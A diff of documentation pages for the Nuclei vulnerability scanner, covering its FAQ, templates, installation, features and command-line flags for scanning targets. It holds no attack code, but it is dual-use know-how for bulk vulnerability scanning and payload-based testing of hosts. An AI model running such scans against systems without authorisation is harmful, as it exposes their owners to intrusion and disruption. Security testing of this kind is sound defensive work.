<Accordion title="I found results with nuclei. When should I report it?" icon="triangle-exclamation" iconType="solid">
|
||||
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.
|
||||
|
||||
<Accordion title="How do I validate nuclei results?" icon="fire-flame-curved" iconType="solid">
|
||||
Once nuclei finds a result, and you have vulnerable **target** and **template**, rerun the template with **`-debug`** flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.
|
||||
</Accordion>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How much traffic does nuclei generate?" icon="triangle-exclamation" iconType="solid">
|
||||
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.
|
||||
|
||||
<Note>As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.</Note>
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is it safe to run nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
We consider two factors to say **"safe"** in context of nuclei -
|
||||
|
||||
1. The **traffic** nuclei makes against the target website.
|
||||
2. The **impact** templates have on the target website.
|
||||
|
||||
<Check>
|
||||
**HTTP Traffic**
|
||||
|
||||
Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.
|
||||
</Check>
|
||||
|
||||
<Check>
|
||||
**Safe Templates**
|
||||
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
</Check>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What is nuclei's license?" icon="circle-info" iconType="solid">
|
||||
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I have more questions! 🙋" icon="circle-info" iconType="solid">
|
||||
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Missing dependencies in headless mode on Linux" icon="triangle-exclamation" iconType="solid">
|
||||
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
|
||||
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
|
||||
Ubuntu
|
||||
|
||||
With snap:
|
||||
```sh
|
||||
sudo snap install chromium
|
||||
```
|
||||
|
||||
Without snap:
|
||||
```sh
|
||||
sudo apt update
|
||||
sudo snap refresh
|
||||
sudo apt install zip curl wget git
|
||||
sudo snap install golang --classic
|
||||
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
|
||||
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
|
||||
sudo apt update
|
||||
sudo apt install google-chrome-stable
|
||||
```
|
||||
|
||||
In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
|
||||
```
|
||||
sudo apt-get install libnss3 libgconf-2-4
|
||||
```
|
||||
|
||||
If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:
|
||||
|
||||
```
|
||||
sudo apt-get install libnss3-dev
|
||||
```
|
||||
|
||||
Error type examples:
|
||||
```
|
||||
Error: Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
|
||||
```
|
||||
```
|
||||
could not create browser
|
||||
```
|
||||
```
|
||||
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
|
||||
Please install it with:
|
||||
snap install chromium
|
||||
```
|
||||
</Accordion>
|
||||
</AccordionGroup>
|
||||
@@ -0,0 +1,70 @@
|
||||
---
|
||||
title: "Templates"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What are nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I write nuclei templates?" icon="circle-info" iconType="solid">
|
||||
We maintain a [template guide](/template-guide/introduction) for writing new and custom nuclei templates. We also have [example templates](/template-example/http/base-http) for various modules nuclei supports.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is writing nuclei templates useful?" icon="fire-flame-curved" iconType="solid">
|
||||
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.
|
||||
|
||||
Here are few examples from the community making use of templates to automate the security findings.
|
||||
<Accordion title="Reference" icon="pencil">
|
||||
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
|
||||
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
|
||||
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
|
||||
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
|
||||
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How do I run nuclei templates?" icon="circle-info" iconType="solid">
|
||||
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.
|
||||
|
||||
```
|
||||
nuclei -tags cve -list target_urls.txt
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I want to contribute nuclei templates! 😁" icon="circle-info" iconType="solid">
|
||||
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.
|
||||
</Accordion>
|
||||
|
||||
|
||||
<Accordion title="I'm getting false-positive results!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**
|
||||
|
||||
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative results, but I'm not sure if this is accurate." icon="circle-info" iconType="solid">
|
||||
Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing false positive or negative result and I don't know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I found a template producing a false positive or negative result and I know how to fix it." icon="circle-info" iconType="solid">
|
||||
Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.
|
||||
</Accordion>
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="I'm not able to run all templates!" icon="triangle-exclamation" iconType="solid">
|
||||
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Templates exist on GitHub but are not running with nuclei?" icon="triangle-exclamation" iconType="solid">
|
||||
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
|
After Width: | Height: | Size: 2.8 KiB |
@@ -0,0 +1,20 @@
|
||||
---
|
||||
title: 'Features'
|
||||
---
|
||||
|
||||
| Feature | Description |
|
||||
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| [Extensive Template Library](#) | Nuclei offers a vast collection of community-powered templates for targeted scans of various vulnerabilities and attack vectors. |
|
||||
| [Versatile Target Specification](#) | Support for various target specification options, such as URLs, IP ranges, ASN range, and file input, allowing flexibility in defining the scanning scope. |
|
||||
| [Bulk Scanning](#) | Perform bulk scanning by specifying multiple targets at once, enabling efficient scanning of a large number of assets or websites. |
|
||||
| [Flexible Customization](#) | Customize scanning templates to fit specific needs, allowing tailored scanning and focusing on relevant security checks. |
|
||||
| [Parallel Scanning](#) | Supports parallel scanning, reducing scanning time and improving efficiency, especially for large-scale targets. |
|
||||
| [Comprehensive Reporting `cloud`](#) | Generates detailed reports with actionable insights, including vulnerability details, severity levels, affected endpoints, and suggested remediation steps. |
|
||||
| [Integration with CI/CD Pipelines](#) | Seamlessly integrate Nuclei into CI/CD pipelines for automated security testing as part of the development and deployment process. |
|
||||
| [CI/CD Integration `cloud`](#) | Actively maintained and developed by the ProjectDiscovery team, introducing new features, bug fixes, and enhancements to provide an up-to-date scanning framework. |
|
||||
| [Ticketing integration `cloud`](#) | Two-way ticketing integration with Jira, Splunk, and many others to easily remediate and retest vulnerabilities. |
|
||||
| [Customizable Output Format](#) | Configure the output format of Nuclei's scan results to suit your needs, including options for JSON, YAML, and more. |
|
||||
| [Dynamic Variables](#) | Utilize dynamic variables in templates to perform parameterized scanning, enabling versatile and flexible scanning configurations. |
|
||||
| [Inclusion and Exclusion Filters](#) | Apply inclusion and exclusion filters to specify targets, reducing scanning scope and focusing on specific areas of interest. |
|
||||
| [Authentication Support](#) | Nuclei supports various authentication mechanisms, including HTTP basic authentication, JWT token authentication, and more. |
|
||||
| [Embedding custom code in templates `alpha`](#) | Execute custom code within Nuclei templates to incorporate user-defined logic, perform advanced scanning actions, and more. |
|
||||
@@ -0,0 +1,69 @@
|
||||
---
|
||||
title: 'Install'
|
||||
---
|
||||
|
||||
|
||||
<Tabs>
|
||||
<Tab title="Go">
|
||||
```bash
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<Note>Nuclei requires latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Brew">
|
||||
```bash
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
<Note>Supported in **macOS** (or Linux)</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Docker">
|
||||
```bash
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
Docker-specific usage instructions can be found [here](./running#running-with-docker).
|
||||
</Tab>
|
||||
<Tab title="Github">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git; \
|
||||
cd nuclei/cmd/nuclei; \
|
||||
go build; \
|
||||
mv nuclei /usr/local/bin/; \
|
||||
nuclei -version;
|
||||
```
|
||||
|
||||
<Note> Nuclei require the latest **GO** version to install successfully.</Note>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Binary">
|
||||
```bash
|
||||
https://github.com/projectdiscovery/nuclei/releases
|
||||
```
|
||||
|
||||
<Tip>
|
||||
- Download the latest binary for your OS.
|
||||
- Unzip the ready to run binary.
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
<Tab title="Helm">
|
||||
```bash
|
||||
git clone https://github.com/projectdiscovery/nuclei.git
|
||||
cd nuclei/helm
|
||||
helm upgrade --install nuclei . -f values.yaml
|
||||
```
|
||||
|
||||
<Tip>
|
||||
This Helm chart creates two primary resources (intended to be configured via `values.yaml`):
|
||||
|
||||
- A Kubernetes CronJob to run Nuclei on a defined schedule
|
||||
|
||||
- An [Interactsh](https://github.com/projectdiscovery/interactsh) service for Nuclei to use
|
||||
</Tip>
|
||||
|
||||
</Tab>
|
||||
</Tabs>
|
||||
@@ -0,0 +1,47 @@
|
||||
---
|
||||
title: 'Overview'
|
||||
---
|
||||
|
||||
## What is **Nuclei?**
|
||||
|
||||
Nuclei is a fast scanner used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.
|
||||
|
||||
Under the hood, it operates on the concept of templates, which are essentially simple YAML file that describe how to detect, prioritize and remediate specific security vulnerabilities.
|
||||
|
||||
Hundreds of security researchers and engineers from around the globe contribute to the template ecosystem, which is available and updated regularly within the Nuclei tool. Over 5000 templates have been contributed to date. These templates include real-world exploits and latest attack vectors, including the Log4j vulnerability, GitLab RCE, and many others, to match adaptability in an ever-evolving threat landscape.
|
||||
|
||||
Each template represents a potential attack vector and includes a detailed description of the vulnerability, its severity, priority score, and sometimes even trending exploits. The template-driven approach not only adds a high degree of flexibility but also ensures that the vulnerabilities detected by Nuclei are not just theoretical risks but are indicative of real-world exploitability.
|
||||
|
||||
Once configured, Nuclei can provide detailed information on each vulnerability, including:
|
||||
|
||||
<CardGroup>
|
||||
<Card title="Severity" icon="gauge-high" iconType="duotone"></Card>
|
||||
<Card title="Impact" icon="explosion" iconType="duotone"></Card>
|
||||
<Card title="Description" icon="text-size" iconType="duotone"></Card>
|
||||
<Card title="Remediation" icon="screwdriver-wrench" iconType="duotone"></Card>
|
||||
</CardGroup>
|
||||
|
||||
|
||||
## Where to use Nuclei?
|
||||
|
||||
| Use Case | Description |
|
||||
| -------------------------------- | ----------- |
|
||||
| Web Application Security | Identifies common web vulnerabilities with community-powered templates. |
|
||||
| Infrastructure Security | Audits server configurations, open ports, and insecure services for security issues. |
|
||||
| API Security Testing `alpha` | Tests APIs against known vulnerabilities and misconfigurations. |
|
||||
| (CI/CD) Security | Integrates into CI/CD pipelines to minimize vulnerability resurface into production. |
|
||||
| Third-party Vendor Assessment | Evaluates the security of third-party vendors by scanning their digital assets. |
|
||||
| Cloud Security `alpha` | Scans cloud environments for misconfigurations and vulnerabilities. |
|
||||
| Mobile Application Security | Scans mobile applications for security issues, including API tests and configuration checks. |
|
||||
| Network Device Security `alpha` | Identifies vulnerabilities in network devices like routers, switches, and firewalls. |
|
||||
| Web Server Assessment | Identifies common vulnerabilities and misconfigurations in web servers. |
|
||||
| Content Management System (CMS) Assessment | Identifies vulnerabilities specific to CMS platforms like WordPress, Joomla, or Drupal. |
|
||||
| Database Security Assessment | Scans databases for known vulnerabilities, default configurations, and access control issues. |
|
||||
|
||||
People use Nuclei in a variety of ways:
|
||||
|
||||
- **Security Engineers/Analysts**: Conduct security assessments, proactively identify vulnerabilities, convert custom vectors and analyze latest attack vectors.
|
||||
- **Red Teams**: Leverage Nuclei as part of their offensive security operations to simulate real-world attack scenarios, identify weaknesses, and provide actionable recommendations for enhancing overall security.
|
||||
- **DevOps Teams**: Integrate Nuclei into their CI/CD pipelines to ensure continuous security and regression of custom vulnerabilities.
|
||||
- **Bug Bounty Hunters**: Leverage Nuclei to find vulnerabilities across their programs listed on platforms like HackerOne, Bugcrowd, Intigriti etc.
|
||||
- **Penetration Testers**: Utilize Nuclei to automate their assessment methodologies into templates for their clients' systems.
|
||||
@@ -0,0 +1,925 @@
|
||||
---
|
||||
title: 'Running Nuclei'
|
||||
---
|
||||
|
||||
<iframe src="https://www.youtube.com/embed/b5qMyQvL1ZA" width="640" height="360"></iframe>
|
||||
|
||||
|
||||
## Running **Nuclei**
|
||||
|
||||
Nuclei templates can be primarily executed in two ways:
|
||||
|
||||
1. **Templates** (`-t/templates`)
|
||||
|
||||
As default, all the templates (except nuclei-ignore list) get executed from the default template installation path.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
```
|
||||
|
||||
Custom template directory or multiple template directory can be executed as follows:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t cves/ -t exposures/
|
||||
```
|
||||
|
||||
Custom template Github repos are downloaded under `github` directory. Custom repo templates can be passed as follows:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -t github/private-repo
|
||||
```
|
||||
|
||||
Similarly, Templates can be executed against a list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt
|
||||
```
|
||||
|
||||
2. **Workflows** (`-w/workflows`)
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -w workflows/
|
||||
```
|
||||
|
||||
Similarly, Workflows can be executed against a list of URLs.
|
||||
|
||||
```sh
|
||||
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
|
||||
```
|
||||
|
||||
### Nuclei **Filters**
|
||||
|
||||
Nuclei engine supports three basic filters to customize template execution.
|
||||
|
||||
1. Tags (`-tags`)
|
||||
|
||||
Filter based on tags field available in the template.
|
||||
|
||||
2. Severity (`-severity`)
|
||||
|
||||
Filter based on severity field available in the template.
|
||||
|
||||
3. Author (`-author`)
|
||||
|
||||
Filter based on author field available in the template.
|
||||
|
||||
As default, Filters are applied on installed path of templates and can be customized with manual template path input.
|
||||
|
||||
For example, below command will run all the templates installed at `~/nuclei-templates/` directory and has `cve` tags in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve
|
||||
```
|
||||
|
||||
And this example will run all the templates available under `~/nuclei-templates/exposures/` directory and has `config` tag in it.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags config -t exposures/
|
||||
```
|
||||
|
||||
Multiple filters works together with AND condition,
|
||||
below example runs all templates with `cve` tags
|
||||
AND has `critical` OR `high` severity AND `geeknik` as author of template.
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
|
||||
```
|
||||
|
||||
Multiple filters can also be combined using the template condition flag (`-tc`) that allows complex expressions like the following ones:
|
||||
|
||||
```sh
|
||||
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
|
||||
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
|
||||
nuclei -tc "contains(name, 'Local File Inclusion')"
|
||||
```
|
||||
|
||||
The supported fields are:
|
||||
|
||||
- `id` string
|
||||
- `name` string
|
||||
- `description` string
|
||||
- `tags` slice of strings
|
||||
- `authors` slice of strings
|
||||
- `severity` string
|
||||
- `protocol` string
|
||||
- `http_method` slice of strings
|
||||
- `body` string (containing all request bodies if any)
|
||||
- `matcher_type` slice of string
|
||||
- `extractor_type` slice of string
|
||||
- `description` string
|
||||
|
||||
Also, every key-value pair from the template metadata section is accessible. All fields can be combined with logical operators (`||` and `&&`) and used with DSL helper functions.
|
||||
|
||||
Similarly, all filters are supported in workflows as well.
|
||||
|
||||
```sh
|
||||
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
|
||||
```
|
||||
|
||||
<Note>
|
||||
|
||||
**Workflows**
|
||||
|
||||
In Workflows, Nuclei filters are applied on templates or sub-templates running via workflows, not on the workflows itself.
|
||||
|
||||
</Note>
|
||||
|
||||
### Public Templates
|
||||
|
||||
Nuclei has built-in support for automatic template download/update from [**nuclei templates**](https://github.com/projectdiscovery/nuclei-templates) project which provides [community-contributed](https://github.com/projectdiscovery/nuclei-templates#-community) list of ready-to-use templates that is constantly updated.
|
||||
|
||||
Nuclei checks for new community template releases upon each execution and automatically downloads the latest version when available. optionally, this feature can be disabled using the `-duc` cli flag or the configuration file.
|
||||
|
||||
### Custom Templates
|
||||
|
||||
Users can create custom templates on a personal public / private GitHub / AWS Bucket that they wish to run / update while using nuclei from any environment without manually downloading the GitHub repository everywhere.
|
||||
|
||||
To use this feature, users need to set the following environment variables:
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="For GitHub Project" icon="pencil">
|
||||
```bash
|
||||
export GITHUB_TOKEN=gh_XXX
|
||||
export GITHUB_TEMPLATE_REPO=my_nuclei_template
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For GitLab Project" icon="pencil">
|
||||
```bash
|
||||
export GITLAB_SERVER_URL=https://gitlab.com
|
||||
# The GitLab token must have the read_api and read_repository scope
|
||||
export GITLAB_TOKEN=XXXXXXXXXX
|
||||
# Comma separated list of repository IDs (not names)
|
||||
export GITLAB_REPOSITORY_IDS=12345,67890
|
||||
```
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="For AWS Bucket" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AWS_ACCESS_KEY=AKIAXXXXXXXX
|
||||
export AWS_SECRET_KEY=XXXXXX
|
||||
export AWS_REGION=us-xxx-1
|
||||
export AWS_TEMPLATE_BUCKET=aws_bucket_name
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
<Accordion title="For Azure Blob Storage" icon="pencil">
|
||||
|
||||
```bash
|
||||
export AZURE_TENANT_ID=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_CLIENT_ID=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_CLIENT_SECRET=00000000-0000-0000-0000-000000000000
|
||||
export AZURE_SERVICE_URL=https://XXXXXXXXXX.blob.core.windows.net/
|
||||
export AZURE_CONTAINER_NAME=templates
|
||||
```
|
||||
|
||||
</Accordion>
|
||||
|
||||
</AccordionGroup>
|
||||
|
||||
Environment variables can also be provided to disable download from default and custom template locations:
|
||||
|
||||
```bash
|
||||
# Disable download from the default nuclei-templates project
|
||||
export DISABLE_NUCLEI_TEMPLATES_PUBLIC_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private GitHub project(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_GITHUB_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private GitLab project(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_GITLAB_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private AWS Bucket(s)
|
||||
export DISABLE_NUCLEI_TEMPLATES_AWS_DOWNLOAD=true
|
||||
|
||||
# Disable download from public / private Azure Blob Storage
|
||||
export DISABLE_NUCLEI_TEMPLATES_AZURE_DOWNLOAD=true
|
||||
```
|
||||
|
||||
Once the environment variables are set, following command to download the custom templates:
|
||||
|
||||
```bash
|
||||
nuclei -update-templates
|
||||
```
|
||||
|
||||
This command will clone the repository containing the custom templates to the default nuclei templates directory (`$HOME/nuclei-templates/github/`).
|
||||
|
||||
The directory structure of the custom templates looks as follows:
|
||||
|
||||
```bash
|
||||
tree $HOME/nuclei-templates/
|
||||
|
||||
nuclei-templates/
|
||||
└── github/$GH_REPO_NAME # Custom templates downloaded from public / private GitHub project
|
||||
└── gitlab/$GL_REPO_NAME # Custom templates downloaded from public / private GitLab project
|
||||
└── s3/$BUCKET_NAME # Custom templates downloaded from public / private AWS Bucket
|
||||
└── azure/$CONTAINER_NAME # Custom templates downloaded from public / private Azure Blob Storage
|
||||
```
|
||||
|
||||
Users can then use the custom templates with the `-t` flag as follows:
|
||||
|
||||
```
|
||||
nuclei -t github/my_custom_template -u https://example.com
|
||||
```
|
||||
|
||||
The nuclei engine can be updated to latest version by using the `-update` flag.
|
||||
|
||||
<Tip>
|
||||
Writing your own unique templates will always keep you one step ahead of
|
||||
others.
|
||||
</Tip>
|
||||
|
||||
### Flags
|
||||
|
||||
```
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
This will display help for the tool. Here are all the switches it supports.
|
||||
|
||||
```bash
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-json write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string path to the nuclei configuration file
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-sandbox sandbox nuclei for safe templates execution
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-config-directory string override the default config path ($home/.config)
|
||||
-rsr, -response-size-read int max response size to read in bytes (default 10485760)
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
